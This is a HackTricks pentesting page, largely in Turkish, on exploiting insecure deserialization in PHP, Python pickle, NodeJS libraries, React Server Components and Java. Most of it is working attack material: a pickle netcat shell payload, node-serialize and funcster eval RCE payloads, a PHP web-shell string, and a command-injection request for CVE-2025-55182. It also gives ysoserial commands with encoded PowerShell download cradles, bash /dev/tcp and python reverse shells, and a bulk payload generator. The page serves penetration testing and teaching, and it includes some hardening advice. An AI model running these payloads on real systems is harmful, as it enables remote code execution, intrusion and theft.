Deserialization
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Serialization bir nesnenin saklanabilecek bir biçime dönüştürülmesi yöntemi olarak anlaşılır; amaç nesneyi depolamak veya iletişim sürecinde iletmektir. Bu teknik, nesnenin yapısını ve durumunu koruyarak daha sonra yeniden oluşturulabilmesini sağlamak için sıkça kullanılır.
Deserialization, tersine, serialization işlemini geri alan süreçtir. Belirli bir formatta yapılandırılmış verileri alıp bunları tekrar bir nesne olarak yeniden oluşturmayı içerir.
Deserialization tehlikeli olabilir çünkü potansiyel olarak saldırganların serileştirilmiş veriyi değiştirerek zararlı kod çalıştırmasına veya nesnenin yeniden oluşturulması sırasında uygulamada beklenmeyen davranışlara yol açmasına izin verebilir.
PHP
In PHP, specific magic methods are utilized during the serialization and deserialization processes:
__sleep: Bir nesne serileştirilirken çağrılır. Bu metod, serileştirilmesi gereken tüm özelliklerin isimlerini içeren bir dizi döndürmelidir. Genellikle bekleyen verileri kaydetmek veya benzeri temizlik görevlerini yapmak için kullanılır.__wakeup: Bir nesne yeniden oluşturulurken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini gerçekleştirmek için kullanılır.__unserialize: Bir nesne yeniden oluşturulurken (varsa)__wakeupyerine bu metod çağrılır.__wakeup’a kıyasla yeniden oluşturma süreci üzerinde daha fazla kontrol sağlar.__destruct: Bir nesne yok edilmek üzereyken veya script sonlandığında çağrılır. Genellikle dosya işleyicilerini veya veritabanı bağlantılarını kapatma gibi temizlik görevleri için kullanılır.__toString: Bu metod bir nesnenin string olarak kullanılmasına izin verir. İçindeki fonksiyon çağrılarına bağlı olarak bir dosya okunması veya benzeri görevler için kullanılabilir; nesnenin metinsel bir temsilini sağlar.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that’s not happening anymore.
Warning
The method
__unserialize(array $data)is called instead of__wakeup()if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Açıklamalı bir PHP örneğini şu adresten okuyabilirsiniz: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, burada https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf veya burada https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
PHP autoload işlevselliğini keyfi php dosyalarını ve daha fazlasını yüklemek için suistimal edebilirsiniz:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
Livewire 3 synthesizers, (APP_KEY ile veya olmadan) Laravel Queueable/SerializableClosure sinks’larına ulaşmak üzere keyfi gadget grafikleri instantiate etmeye zorlanabilir:
Livewire Hydration Synthesizer Abuse
Serializing Referenced Values
Bir sebepten dolayı bir değeri başka bir değerin serileştirilmiş referansı olarak serileştirmek isterseniz:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Preventing PHP Object Injection with allowed_classes
[!INFO]
unserialize()’in ikinci argümanı ($optionsdizisi) desteği PHP 7.0’da eklendi. Eski sürümlerde fonksiyon yalnızca serileştirilmiş dizeyi kabul eder; bu yüzden hangi sınıfların örneklenebileceğini kısıtlamak mümkün değildir.
unserialize() serileştirilmiş akışta bulduğu her sınıfın bir örneğini oluşturur, aksi söylenmedikçe. PHP 7 ile birlikte bu davranış allowed_classes seçeneği ile kısıtlanabilir:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Eğer allowed_classes atlanır veya kod PHP < 7.0 üzerinde çalışıyorsa, çağrı tehlikeli hale gelir; çünkü bir saldırgan __wakeup() veya __destruct() gibi sihirli yöntemleri kötüye kullanarak Remote Code Execution (RCE) sağlayan bir payload oluşturabilir.
Gerçek dünya örneği: Everest Forms (WordPress) CVE-2025-52709
WordPress eklentisi Everest Forms ≤ 3.2.2 yardımcı bir wrapper ile savunmacı olmaya çalıştı ama eski PHP sürümlerini unuttu:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Hâlâ PHP ≤ 7.0 çalıştıran sunucularda bu ikinci dal, bir yönetici kötü amaçlı bir form gönderimini açtığında klasik bir PHP Object Injection’a yol açıyordu. Minimal bir exploit payload şu şekilde görünebilir:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Admin kaydı görüntülediği anda obje örneklendi ve SomeClass::__destruct() çalıştırıldı, bu da rastgele kod yürütülmesine yol açtı.
Önemli noktalar
- Her
unserialize()çağrısında['allowed_classes' => false](veya katı bir white-list) gönderin. - Defansif wrappers’ları denetleyin – genellikle eski (legacy) PHP dallarını unuturlar.
- Sadece PHP ≥ 7.x’e yükseltmek yeterli değildir: seçenek yine de açıkça sağlanmalıdır.
PHPGGC (ysoserial for PHP)
PHPGGC PHP deserializations’ı kötüye kullanmak için payload üretmenize yardımcı olabilir.
Bazı durumlarda uygulamanın kaynak kodunda bir deserialization’ı kötüye kullanmanın yolunu bulamayacağınızı fakat harici PHP uzantılarının kodunu kötüye kullanabileceğinizi unutmayın.
Bu yüzden mümkünse sunucunun phpinfo()sunu kontrol edin ve kötüye kullanabileceğiniz olası gadget’ları internette (hatta PHPGGC’nin gadgets’larında) arayın.
phar:// metadata deserialization
Eğer içinde PHP kodunu çalıştırmadan sadece dosyayı okuyan bir LFI bulduysanız, örneğin file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). phar protokolünü kullanarak bir dosya okunurken gerçekleşen bir deserialization’ı kötüye kullanmayı deneyebilirsiniz.
Daha fazla bilgi için aşağıdaki yazıyı okuyun:
Python
Pickle
Obje unpickle edildiğinde, ___reduce___ fonksiyonu çalıştırılacaktır.
Kötüye kullanıldığında sunucu bir hata döndürebilir.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Bypass tekniğini kontrol etmeden önce, eğer python3 çalıştırıyorsanız python2 ile uyumlu bir nesne oluşturmak için print(base64.b64encode(pickle.dumps(P(),2))) kullanmayı deneyin.
Daha fazla bilgi için pickle jails’tan kaçış hakkında bakın:
Yaml & jsonpickle
Aşağıdaki sayfa, Python yaml kütüphanelerindeki güvensiz deserializasyonu suistimal etme tekniğini sunar ve Pickle, PyYAML, jsonpickle ve ruamel.yaml için RCE deserializasyon payload’u üretebilen bir araçla sonlanır:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS PHP veya Python gibi, sadece bir nesne oluşturulduğunda çalıştırılan “magic” fonksiyonlara sahip değildir. Ancak toString, valueOf, toJSON gibi doğrudan çağrılmasalar bile sıkça kullanılan bazı fonksiyonlara sahiptir. Eğer bir deserializasyonu suistimal ederek bu fonksiyonları diğer kodları çalıştıracak şekilde ele geçirirseniz (potentially abusing prototype pollutions), çağrıldıklarında arbitrary code çalıştırabilirsiniz.
Başka bir “magic” yol, bir fonksiyonu doğrudan çağırmadan, bir async fonksiyonun (promise) döndürdüğü bir objeyi ele geçirmek suretiyle çağırmaktır. Çünkü eğer bu dönüş objesini başka bir promise içine, türü fonksiyon olan “then” adlı bir property ile dönüştürürseniz, başka bir promise tarafından döndürüldüğü için bu çalıştırılacaktır. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Bu tekniği öğrenmek istiyorsanız aşağıdaki eğitime göz atın:
NodeJS - proto & prototype Pollution
node-serialize
Bu kütüphane fonksiyonları serileştirmeye izin verir. Örnek:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
serileştirilmiş nesne şöyle görünecek:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Örnekte bir fonksiyon serileştirildiğinde _$$ND_FUNC$$_ bayrağının serileştirilmiş objeye eklendiğini görebilirsiniz.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
Son kod bloğunda görebileceğiniz gibi, bayrak bulunursa eval kullanılarak fonksiyon deserialize ediliyor; yani temelde kullanıcı girdisi eval fonksiyonu içinde kullanılıyor.
Ancak, sadece serileştirmek bir fonksiyonu çalıştırmaz; örneğimizde kodun bir kısmının y.rce çağırması gerekir ve bu büyük olasılıkla gerçekleşmez.
Yine de, deserialize edildiğinde serileştirilmiş fonksiyonun otomatik çalışması için serileştirilmiş objeyi birkaç parantez ekleyerek değiştirebilirsiniz.
Bir sonraki kod parçasında son paranteze dikkat edin ve unserialize fonksiyonunun kodu nasıl otomatik çalıştıracağını görün:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Önceden belirtildiği gibi, bu kütüphane _$$ND_FUNC$$_’den sonraki kodu alacak ve eval kullanarak çalıştıracaktır. Bu nedenle, kodları otomatik çalıştırmak için fonksiyon oluşturma kısmını ve son parantezi silebilir ve aşağıdaki örnekteki gibi sadece bir JS oneliner çalıştırabilirsiniz:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here further information about how to exploit this vulnerability.
funcster
Önemli bir nokta, funcster’ın standard built-in objects’e erişilemez olmasıdır; bunlar erişilebilir kapsamın dışındadır. Bu kısıtlama, yerleşik nesneler üzerindeki yöntemleri çağırmaya çalışan kodun yürütülmesini engeller ve console.log() veya require(something) gibi komutlar kullanıldığında "ReferenceError: console is not defined" gibi istisnalara yol açar.
Bu sınırlamaya rağmen, tüm standard built-in objects dahil olmak üzere global context’e tam erişimin belirli bir yaklaşımla geri getirilmesi mümkündür. Global context’i doğrudan kullanarak bu kısıtlamanın üstesinden gelinebilir. Örneğin, erişim aşağıdaki snippet ile yeniden sağlanabilir:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Daha fazla bilgi için bu kaynağı okuyun.
serialize-javascript
serialize-javascript paketi yalnızca serialization amaçlı olarak tasarlanmıştır ve yerleşik herhangi bir deserialization yeteneğine sahip değildir. Kullanıcılar deserialization için kendi yöntemlerini uygulamaktan sorumludur. Serileştirilmiş verilerin deserialization’ı için resmi örnek, doğrudan eval kullanımını önermektedir:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Eğer bu fonksiyon nesneleri deserialize etmek için kullanılıyorsa, bunu kolayca istismar edebilirsiniz:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Daha fazla bilgi için more information read this source.
Cryo library
Aşağıdaki sayfalarda bu kütüphaneyi keyfi komutlar çalıştırmak için nasıl kötüye kullanabileceğiniz hakkında bilgiler bulabilirsiniz:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC), multipart/form-data olarak gönderilen server action gönderimlerini decode etmek için react-server-dom-webpack (RSDW) kullanır. Her action gönderimi şunları içerir:
$ACTION_REF_<n>parçaları, çağrılan action’a referans verir.$ACTION_<n>:<m>parçalarının gövdesi JSON’dur, örneğin{"id":"module-path#export","bound":[arg0,arg1,...]}.
Sürüm 19.2.0 içinde decodeAction(formData, serverManifest) helper’ı hem id string’ine (hangi module export’unun çağrılacağını seçer) hem de bound array’ine (argümanlar) körü körüne güvenir. Eğer bir saldırgan decodeAction’a istekleri yönlendiren endpoint’e ulaşabilirse, bir React front-end olmadan bile attacker-controlled parametrelerle herhangi bir exported server action’ı çağırabilir (CVE-2025-55182). Uçtan uca tarif şu şekildedir:
- Action identifier’ı öğrenin. Bundle çıktısı, hata izleri veya leaked manifests genellikle
app/server-actions#generateReportgibi dizgileri açığa çıkarır. - Multipart payload’u yeniden oluşturun. Bir
$ACTION_REF_0parçası ve tanımlayıcı ile rastgele argümanları taşıyan bir$ACTION_0:0JSON gövdesi oluşturun. decodeAction’ın bunu dispatch etmesine izin verin. Helper, module’üserverManifest’ten çözer, export’u import eder ve sunucunun hemen çalıştırdığı çağrılabilir bir şey döndürür.
Example payload hitting /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Veya curl ile:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
bound array doğrudan server-action parametrelerini doldurur. Zafiyetli lab’daki gadget şöyle görünür:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
Bir saldırganın gerçek bir React client’a ihtiyacı yoktur — $ACTION_* multipart şeklini üreten herhangi bir HTTP aracı doğrudan server actions’ları çağırabilir ve ortaya çıkan JSON çıktısını bir RCE primitive içine zincirleyebilir.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. Bu yürütme, bu callback’leri tetikleyen kötü amaçlı payload’lar hazırlayan saldırganlar tarafından sömürülebilir ve zararlı eylemlerin çalıştırılmasına yol açabilir.
Fingerprints
White Box
Kod tabanında potansiyel serialization zafiyetlerini tespit etmek için şunları arayın:
Serializablearayüzünü implement eden sınıflar.java.io.ObjectInputStream,readObject,readUnsharekullanımına dair izler.
Özellikle dikkat edin:
- Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan
XMLDecoder. XStream’infromXMLmetodu — özellikle XStream sürümü 1.46 veya daha düşükse, serialization sorunlarına açıktır.ObjectInputStreamile birliktereadObjectmetodunun kullanımı.readObject,readObjectNodData,readResolveveyareadExternalgibi metodların implementasyonu.ObjectInputStream.readUnshared.Serializable’ın genel kullanımı.
Black Box
Kara kutu testlerinde, java serialized object’leri (kaynağı ObjectInputStream) belirten belirli signatures veya “Magic Bytes”’a bakın:
- Hex pattern:
AC ED 00 05. - Base64 pattern:
rO0. - HTTP response header’larında
Content-typedeğeriapplication/x-java-serialized-object. - Önce sıkıştırılmış olduğunu gösteren hex pattern:
1F 8B 08 00. - Önce sıkıştırılmış olduğunu gösteren base64 pattern:
H4sIA. .facesuzantılı web dosyaları vefaces.ViewStateparametresi. Bu desenlerin bir web uygulamasında keşfedilmesi, post about Java JSF ViewState Deserialization bölümünde detaylandırıldığı şekilde bir inceleme gerektirmelidir.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Zafiyet kontrolü
Eğer Java Deserialized exploit’in nasıl çalıştığını öğrenmek istiyorsanız, Basic Java Deserialization, Java DNS Deserialization ve CommonsCollection1 Payload dökümanlarına bakın.
SignedObject-gated deserialization ve pre-auth reachability
Modern kod tabanları bazen deserialization’ı java.security.SignedObject ile sarar ve iç objeyi deserializes eden getObject() çağrılmadan önce imzayı doğrular. Bu, rastgele top-level gadget classes’ı engeller fakat bir saldırgan geçerli bir imza elde edebilirse (ör. private-key compromise veya signing oracle) hâlâ exploitable olabilir. Ayrıca, error-handling flows unauthenticated kullanıcılar için session-bound tokens üretebilir ve böylece aksi takdirde korunan sinks’i pre-auth olarak açığa çıkarabilir.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
Bilinen zayıflıkları olan herhangi bir uygulamanın yüklü olup olmadığını kontrol edebilirsiniz.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don’t care about the tons of warnings/errors that it’s going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won’t create an exploit and it may indicate false positives.
Kara Kutu Testi
Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serileştirme Testi
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you yönetici ayrıcalıkları inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
When creating a payload for java.lang.Runtime.exec() bir payload oluştururken, yürütmenin çıktısını yönlendirmek için “>” veya “|” gibi özel karakterleri, komut çalıştırmak için “$()”’ı veya hatta bir komuta boşluklarla ayrılmış argümanları kullanamazsınız (örneğin echo -n "hello world" yapabilirsiniz ama python2 -c 'print "Hello world"' yapamazsınız). Payload’u doğru şekilde encode etmek için use this webpage.
Aşağıdaki script’i kullanarak Windows ve Linux için tüm olası code execution payloadlarını oluşturup ardından istismara açık web sayfasında test edebilirsiniz:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Kullanabilirsiniz https://github.com/pwntester/SerialKillerBypassGadgetCollection ysoserial ile birlikte daha fazla exploit oluşturmak için. Araç hakkında daha fazla bilgi, aracın sunulduğu konuşmanın slaytlarında: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec Java’da farklı Json ve Yml serileştirme kütüphanelerini exploit etmek için payload üretmek amacıyla kullanılabilir.
Projeyi derlemek için pom.xml dosyasına bu dependencies’i eklemem gerekiyordu:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven’i kurun, ve projeyi derleyin:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Read more about this Java JSON library: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Lablar
- Bazı ysoserial payloads’ı test etmek istiyorsanız bu webapp’i çalıştırabilirsiniz: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Neden
Java çeşitli amaçlar için serialization’ı yoğun şekilde kullanır, örneğin:
- HTTP requests: Serialization parametrelerin, ViewState’in, cookie’lerin vb. yönetiminde yaygın olarak kullanılır.
- RMI (Remote Method Invocation): Java RMI protokolü, tamamen serialization’a dayandığından, Java uygulamalarında uzak iletişim için temel taşlardan biridir.
- RMI over HTTP: Bu yöntem, Java tabanlı thick client web uygulamaları tarafından tüm nesne iletişimlerinde serialization kullanılarak yaygın olarak tercih edilir.
- JMX (Java Management Extensions): JMX, nesneleri ağ üzerinden iletmek için serialization kullanır.
- Custom Protocols: Java’da standart uygulama raw Java objects’ın iletimidir; bu durum ilerleyen exploit örneklerinde gösterilecektir.
Önleme
Transient objects
Serializable’ı implement eden bir sınıf, sınıf içinde serializable olmaması gereken herhangi bir objeyi transient olarak işaretleyebilir. Örneğin:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable uygulamak zorunda olan bir sınıfın Serialization’ından kaçının
